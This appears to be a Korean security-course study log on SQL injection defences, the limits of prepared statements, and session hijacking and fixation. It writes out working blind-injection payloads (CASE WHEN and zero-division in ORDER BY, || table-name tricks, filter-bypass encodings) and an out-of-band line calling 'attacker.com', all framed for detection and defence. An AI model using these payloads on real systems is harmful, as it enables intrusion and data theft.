📄 2026.02.02 (Day 68) - SQL Injection 대응과 Session 보안
1. 핵심 개념 정리
SQL Injection 대응 방안
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 1 | Prepared Statement | 쿼리 구조와 데이터를 분리하여 처리하는 방식. 물음표(?)를 placeholder로 사용하고 bind 메서드로 값 바인딩 | 제대로 사용하면 SQL Injection 100% 방어 가능. 단, 테이블명/컬럼명은 바인딩 불가 |
| 2 | 입력값 검증 및 필터링 | 사용자 입력에서 SQL 키워드(select, union 등)를 삭제하거나 치환 | 우회 가능성 존재(대소문자 혼용, 공백 삽입 등). 단독 사용 시 불완전한 방어책 |
| 3 | 타입 강제 변환 | 숫자형 파라미터의 경우 int() 등으로 타입 강제 변환 | WHERE 절의 숫자형 조건에서는 효과적이나, ORDER BY나 함수 내부에서는 공격 가능 |
| 4 | 화이트리스트 검증 | 허용된 값만 받도록 if-else 분기 처리 | 테이블명, 컬럼명, 정렬 옵션 등 동적으로 변경되는 부분에 필수 적용 |
| 5 | OOB(Out-of-Band) 공격 | DNS 쿼리 등을 이용해 외부 서버로 데이터 유출 | Oracle의 utl_inaddr 같은 네트워크 함수 접근 권한 제한 필요 |
Prepared Statement의 취약 케이스
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 6 | 동적 테이블명 처리 | 테이블명은 ? 바인딩 불가능하여 문자열 결합 방식 사용 | boardId 파라미터로 qna, notice 등 테이블 선택 시 화이트리스트 검증 필수 |
| 7 | 동적 컬럼명 처리 | ORDER BY 절의 컬럼명/번호는 바인딩 불가 | sorting 파라미터 검증 없이 그대로 사용하면 CASE WHEN 구문으로 Blind SQL Injection 가능 |
| 8 | CASE WHEN 구문 공격 | 정렬 조건에서 조건문 삽입 가능 | sorting = (case when length(user) > 0 then 1 else 2 end) 형태로 정보 추출 |
| 9 | 문자열 연결 연산자 공격 | Oracle의 || 연산자로 문자열 결합하여 에러 기반 공격 | boardId = not’||(case when 공격쿼리 then ’’ else ‘x’ end)||‘ice 형태로 테이블명 조작 |
| 10 | 날짜형 데이터 공격 | TO_DATE 함수 내부에 삽입 가능 | startDt = 2026-01-01’,‘YYYY-MM-DD’) and (공격쿼리 형태로 함수 탈출 |
입력값 필터링의 한계
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 11 | 대소문자 우회 | SELECT, SeLecT 등 대소문자 혼용으로 필터 우회 | 단순 replace는 toLowerCase() 적용 후에도 재귀적 치환으로 우회 가능 |
| 12 | 공백 및 특수문자 우회 | 탭, 개행, 주석 등으로 공백 대체 | 정규표현식 기반 필터링도 완벽하지 않음 |
| 13 | 인코딩 우회 | URL 인코딩, 유니코드 등 다양한 인코딩 기법 활용 | WAF나 필터링 로직의 디코딩 시점과 불일치 활용 |
| 14 | 연산자 활용 | 숫자형에서 62+1, 62-1, 62.0 등 연산 결과로 검증 우회 | 타입 강제 변환 전에 연산이 실행되면 공격 가능 |
| 15 | Zero Division 에러 | ORDER BY (case when 조건 then 1 else 555/0 end) | 에러 발생 여부로 Boolean Blind 공격 수행 |
2. 실습 내용 정리
실습 5-1: Prepared Statement 우회 - 동적 테이블명
목표: Prepared Statement를 사용하더라도 테이블명이 동적일 때 SQL Injection 가능성 확인
실습 환경:
- 취약한 게시판 애플리케이션
- URL 파라미터: boardId, search, sorting
- 데이터베이스: qna, notice 테이블 존재
실습 단계:
-
정상 요청 분석
- GET /board/list?boardId=qna&search=test
-
테이블명에 SQL 구문 삽입 시도
- GET /board/list?boardId=qna’ union select null– &search=test
-
화이트리스트 검증 없는 경우 공격 성공
- boardId=member → 다른 테이블 접근 가능
-
CASE WHEN 구문으로 정보 추출
- boardId = not’||(case when length(user) > 0 then ’’ else ‘x’ end)||‘ice
-
결과
- notice 테이블 접근 vs notxice 테이블 접근 에러로 참/거짓 판별
확인 항목:
- 테이블명 파라미터가 문자열 결합으로 처리되는지
- 화이트리스트 검증 로직 존재 여부
- 에러 메시지 반환 여부
- CASE WHEN 구문 실행 가능 여부
보안 인사이트:
- Prepared Statement는 WHERE 절의 값만 안전하게 처리
- 테이블명/컬럼명은 반드시 화이트리스트 검증 필요
- 문자열 결합으로 처리되는 모든 부분이 잠재적 공격 지점
실습 5-2: ORDER BY 절 SQL Injection
목표: 정렬 조건을 이용한 Blind SQL Injection 수행
실습 환경:
- 정렬 가능한 게시판
- sorting 파라미터로 컬럼명 또는 컬럼 번호 전달
- DBMS: Oracle (CASE WHEN 구문 지원)
실습 단계:
-
정상 정렬 동작 확인
- GET /board/list?sorting=1&sortingAd=desc
-
CASE WHEN 구문 삽입
- GET /board/list?sorting=(case when length(user) > 0 then 1 else 2 end)
-
Zero Division 에러 활용
- GET /board/list?sorting=1,(case when length(user) > 5 then 2 else 555/0 end)
-
정렬 순서 변화나 에러 발생으로 참/거짓 판별
- 참 : 정상 정렬
- 거짓 : 500 에러 (zero division) 또는 정렬 순서 변화
[CASE WHEN 구문] 동작 원리:
-
CASE WHEN 조건 THEN 값1 ELSE 값2 END
- 조건이 참이면 값1, 거짓이면 값2 반환
-
ORDER BY 절에서 사용 시 정렬 기준 동적 변경
- (case when 공격쿼리 then 1 else 2 end)
- 공격쿼리가 참이면 1번 컬럼 기준 정렬
- 거짓이면 2번 컬럼 기준 정렬
-
Zero Division 활용
- (case when 공격쿼리 then 2 else 555/0 end)
- 참이면 정상 동작, 거짓이면 에러 발생
발견 가능한 정보:
- 데이터베이스 사용자명 길이
- 테이블명, 컬럼명 존재 여부
- 특정 데이터 값의 ASCII 코드
- 데이터베이스 버전 정보
탐지 패턴:
- ORDER BY 절에 CASE WHEN 구문 포함
- URL 파라미터에 555/0, division by zero 키워드
- 동일 페이지 반복 요청 시 정렬 파라미터만 변경
방어 방법:
- sorting 파라미터는 숫자만 허용하거나 화이트리스트 검증
- 에러 메시지 상세 정보 숨김
- 과도한 동일 패턴 요청 시 rate limiting
3. 공격 벡터 비교 표
SQL Injection 공격 지점별 특징
| 항목 | 바인딩 가능 여부 | 공격 난이도 | 주요 공격 기법 | 사용 시기/적용 방안 |
|---|---|---|---|---|
| WHERE 절 값 | ○ (완전 방어) | 낮음 | 기본적인 ’ OR 1=1– | Prepared Statement로 100% 방어 가능 |
| 테이블명 | × (문자열 결합) | 중간 | 화이트리스트 우회, || 연산자 | if-else 분기로 허용된 테이블만 선택 |
| 컬럼명 | × (문자열 결합) | 중간 | CASE WHEN 구문 | 컬럼 번호 또는 고정된 컬럼명 사용 |
| ORDER BY 절 | × (구문 일부) | 높음 | CASE WHEN, Zero Division | 숫자나 화이트리스트 검증 필수 |
| 함수 내부 | 부분적 | 높음 | 따옴표/괄호 닫기 | TO_DATE, TO_CHAR 등 날짜 함수 주의 |
필터링 우회 기법
| 예시 | 설명 | 보안 영향 |
|---|---|---|
| SeLecT, UnIoN | 대소문자 혼용 | toLowerCase() 적용 필요 |
| sel<>ect, un/**/ion | 특수문자 삽입 | 정규표현식 기반 필터링 필요 |
| %53%45%4C%45%43%54 | URL 인코딩 | 디코딩 시점 고려 필요 |
| 62-0, 62.0 | 연산자 활용 | 타입 강제 변환 필요 |
4. 심화 분석
Session 보안 상세 분석
| 구분 | Session Hijacking | Session Fixation | Session Replay | 분석/인사이트 |
|---|---|---|---|---|
| 공격 원리 | 타인의 SessionID 탈취 | 공격자가 발급받은 SessionID를 피해자가 사용하도록 유도 | 탈취한 SessionID 재사용 | HTTP의 stateless 특성을 악용 |
| 공격 방법 | XSS, 패킷 스니핑, Cookie 직접 변조 | 로그인 전 발급된 SessionID 고정 | MitM, Cookie 탈취 | 모두 Cookie 값 조작이 핵심 |
| 탐지 방법 | 동일 SessionID로 다른 IP 접근 | 로그인 전후 SessionID 동일 여부 | 단시간 내 동일 Session 반복 사용 | 로그 분석으로 비정상 패턴 탐지 |
| 대응 방안 | IP 검증, HTTPS 강제 | 로그인 시 session.invalidate() | Session Timeout 설정 | 다층 방어 필요 |
[Session Hijacking 공격] - 취약한 코드 구조
라우트: /mypage
- session_id = request.cookies.get(‘SESSID’)
- get_user_by_session(session_id) 로 사용자 조회
- user가 존재하면 마이페이지 렌더링
- 문제: IP 검증 없이 SessionID만 확인
- 공격: 타인의 Cookie 값(SESSID=aaaa)으로 접근 시 타인의 마이페이지 접근 성공
[Session Fixation 방어] - 안전한 코드 구조
라우트: POST /login
- ID·PW 검증 성공 시
- session.clear() → 기존 Session 무효화
- session.regenerate() → 새로운 SessionID 발급
- session[‘user_id’] = id
- session[’login_ip’] = request.remote_addr
- 결과: 로그인 전 발급된 SessionID는 무효화됨
5. 실무/보안 적용
보안 전문가 관점 - [SQL Injection 탐지/대응] 포인트
| 단계/유형 | 탐지 포인트 | 로그 예시 | 대응 방안 |
|---|---|---|---|
| WHERE 절 공격 | SQL 키워드 포함·특수문자 연속 사용·UNION/SELECT 패턴 | ?id=1’ OR ‘1’=‘1 | WAF 룰셋 적용·Prepared Statement 강제·입력값 길이 제한 |
| ORDER BY 공격 | CASE WHEN 구문·Zero Division 시도·반복적 sorting 변경 | ?sort=(case when length(user)>5 then 1 else 555/0 end) | 화이트리스트 검증·에러 메시지 숨김·Rate Limiting |
| OOB 공격 | DNS 쿼리 급증·외부 도메인 요청·utl_inaddr 함수 호출 | utl_inaddr.get_host_address(‘attacker.com’) | 네트워크 함수 권한 제거·DNS 로그 모니터링·Egress 방화벽 규칙 |
Apache/PHP Session 보안 설정
- session.gc_maxlifetime = 1800 → 30분 타임아웃
- session.cookie_httponly = 1 → XSS 공격 방어
- session.cookie_secure = 1 → HTTPS 전용 전송
- session.cookie_samesite = “Strict” → CSRF 방어
- 로그인·권한 변경 시 반드시 SessionID 재생성
SQL Injection 방어 체크리스트
Prepared Statement 사용:
- WHERE 절 모든 사용자 입력값 바인딩
- INSERT, UPDATE 구문도 바인딩 적용
동적 요소 화이트리스트 검증:
- 테이블명은 if-else로 허용된 값만 선택
- 컬럼명은 배열로 허용 목록 관리
- ORDER BY는 컬럼 번호나 고정 컬럼만 허용
타입 검증:
- 숫자형 파라미터는 int() 강제 변환
- 날짜형은 정규표현식 검증 후 변환
- 예상 타입 외 입력은 차단
에러 처리:
- 상세 에러 메시지 노출 금지
- 로그에만 상세 정보 기록
- 사용자에게는 일반적 오류 메시지
네트워크 함수 차단:
- utl_inaddr, utl_http 등 권한 제거
- DB 계정은 최소 권한 원칙
- OOB 채널 차단
6. 배운 점 및 인사이트
새로 알게 된 점
- Prepared Statement의 한계: WHERE 절은 완벽히 방어하지만 테이블명/컬럼명은 여전히 취약. 문자열 결합이 필요한 모든 부분이 공격 지점이 될 수 있다.
- CASE WHEN 구문의 위력: ORDER BY 절에서 조건문을 실행할 수 있어 Blind SQL Injection의 강력한 도구가 됨. Zero Division으로 에러 기반 공격도 가능.
- OOB 공격의 은밀함: DNS 쿼리로 데이터를 유출하면 일반적인 웹 로그에는 남지 않아 탐지가 어려움. 네트워크 레벨 모니터링 필요.
- Session의 본질: HTTP의 stateless 특성을 보완하기 위한 Cookie 기반 상태 관리. SessionID 자체가 인증 수단이므로 절대 노출되면 안 됨.
- Session 공격의 다양성: Hijacking(탈취), Fixation(고정), Replay(재사용) 등 다양한 공격 벡터 존재. 각각 다른 방어 기법 필요.
이전 학습과의 연결고리
- Day 3-4 SQL Injection 기초와 연계: 기본 공격 기법을 학습한 후, 오늘은 Prepared Statement 우회와 고급 공격 기법 학습. 방어 기법의 한계를 명확히 이해.
- XSS 실습 확장: Session Hijacking에서 XSS로 Cookie 탈취 가능. XSS → Session 탈취 → 권한 획득의 공격 체인 형성.
- 네트워크 → 웹 보안 전환: 패킷 분석과 네트워크 지식이 MitM, Session Replay 이해에 도움. 계층적 보안 이해 심화.
실무 적용 아이디어
보안 전문가 관점:
- SIEM 룰셋 개발: ORDER BY 절에 CASE WHEN, division by zero 패턴 탐지 룰 추가. OOB 공격 탐지를 위한 DNS 쿼리 모니터링.
- 보안 코드 리뷰: 개발팀 코드 리뷰 시 Prepared Statement 사용 여부뿐 아니라 동적 테이블명/컬럼명 처리 방식 집중 점검.
- 취약점 진단: 펜테스트 시 ORDER BY, CASE WHEN 구문 테스트 추가. Session 관련 공격도 체크리스트에 포함.
개발자 관점:
- 보안 프레임워크 도입: ORM(Object-Relational Mapping) 사용으로 SQL 직접 작성 최소화. 단, ORM도 네이티브 쿼리는 취약하므로 주의.
- Session 보안 강화: 로그인 시 session.invalidate() 습관화. IP 검증 로직 공통 모듈로 구현하여 모든 인증 필요 페이지에 적용.
7. Quick Reference
Prepared Statement 기본 사용법 (Java)
쿼리 실행:
- PreparedStatement ps = connection.prepareStatement(“SELECT * FROM users WHERE id=?”)
- ps.setString(1, userId)
- ResultSet rs = ps.executeQuery()
화이트리스트 검증:
- String[] allowedTables = {“qna”, “notice”, “faq”}
- if ( Arrays.asList(allowedTables).contains(boardId) ) → 허용 테이블만 선택
- 허용되지 않은 경우 → IllegalArgumentException 발생
타입 강제 변환:
- int pageNum = Integer.parseInt(request.getParameter(“page”))
Session 재생성 (Java):
- HttpSession session = request.getSession(false)
- if (session != null) → session.invalidate()
- session = request.getSession(true)
- session.setAttribute(“userId”, userId)
핵심 개념 요약표
| 구분 | 항목 | 핵심 키워드 | 주요 내용 | 적용 방법 |
|---|---|---|---|---|
| SQL 방어 | Prepared Statement | 바인딩, placeholder | WHERE 절 값 안전하게 처리 | 모든 사용자 입력에 적용 |
| SQL 방어 | 화이트리스트 | 허용 목록 검증 | 테이블명/컬럼명 제한 | if-else 분기 처리 |
| SQL 공격 | CASE WHEN | 조건부 실행 | ORDER BY에서 조건 분기 | 정렬 파라미터 검증 |
| Session 방어 | invalidate() | Session 무효화 | 로그인 시 재생성 | 인증 후 반드시 호출 |
| Session 방어 | IP 검증 | 로그인 IP 저장 | Session과 요청 IP 비교 | 인증 필요 페이지 전역 적용 |
SQL Injection 점검 체크리스트
입력값 처리:
- 모든 WHERE 절 값은 Prepared Statement 사용
- 동적 테이블명은 화이트리스트 검증
- 동적 컬럼명은 고정 배열로 관리
- ORDER BY 절은 숫자나 검증된 값만 사용
에러 처리:
- 상세 DB 에러 메시지 노출 금지
- 로그에만 상세 정보 기록
- 사용자에게는 일반 오류 메시지
- Stack Trace 노출 방지
권한 관리:
- DB 계정은 SELECT, INSERT, UPDATE만 허용
- utl_inaddr, utl_http 등 네트워크 함수 권한 제거
- 시스템 테이블 접근 차단
- 멀티 쿼리 실행 방지
8. 트러블슈팅
| 문제 | 원인 | 해결 방법 |
|---|---|---|
| Prepared Statement 사용했는데도 SQL Injection 발생 | 테이블명이나 컬럼명을 문자열 결합으로 처리 | 허용된 테이블/컬럼 목록을 배열로 관리 · if-else 분기로 화이트리스트 검증 · 동적 요소 최소화 |
| ORDER BY 절에서 CASE WHEN 공격 차단 필요 | 정렬 파라미터를 검증 없이 쿼리에 삽입 | 컬럼 번호만 허용(1, 2, 3 등) · 허용된 컬럼명 배열로 검증 · 정규표현식으로 CASE, WHEN 키워드 차단 |
| Session Fixation 공격 발생 | 로그인 전후 동일한 SessionID 사용 | 로그인 성공 시 session.invalidate() 호출 · 새로운 Session 생성 및 ID 재발급 · 로그인 시점을 세션에 기록 |
| OOB 공격으로 데이터 유출 | DB 계정에 네트워크 함수 실행 권한 존재 | utl_inaddr, utl_http 등 권한 revoke · DNS 쿼리 로그 모니터링 · Egress 방화벽으로 DB 서버 외부 통신 차단 |
Today’s Insight:
오늘 학습을 통해 Prepared Statement가 만능이 아니라는 점을 명확히 깨달았다. WHERE 절의 값은 완벽히 보호하지만, 쿼리 구조를 결정하는 테이블명, 컬럼명, ORDER BY 절은 여전히 취약하다. 진정한 보안은 단일 방어 기법이 아닌 다층 방어 전략에서 나온다는 것을 실감했다. Prepared Statement, 화이트리스트 검증, 타입 강제 변환, 에러 처리, 권한 최소화가 모두 조합되어야 비로소 안전한 시스템이 된다. 또한 Session 보안의 핵심은 SessionID가 곧 신원 증명이라는 점이다. 로그인 시 반드시 재생성하고, IP 검증을 추가하며, HTTPS로 전송 구간을 암호화하는 다층 방어가 필수적이다. 보안 전문가로서 개발자에게 단순히 “Prepared Statement를 쓰세요"가 아니라 “어떤 부분이 여전히 취약하고, 어떻게 보완해야 하는지"를 구체적으로 가이드할 수 있어야 한다.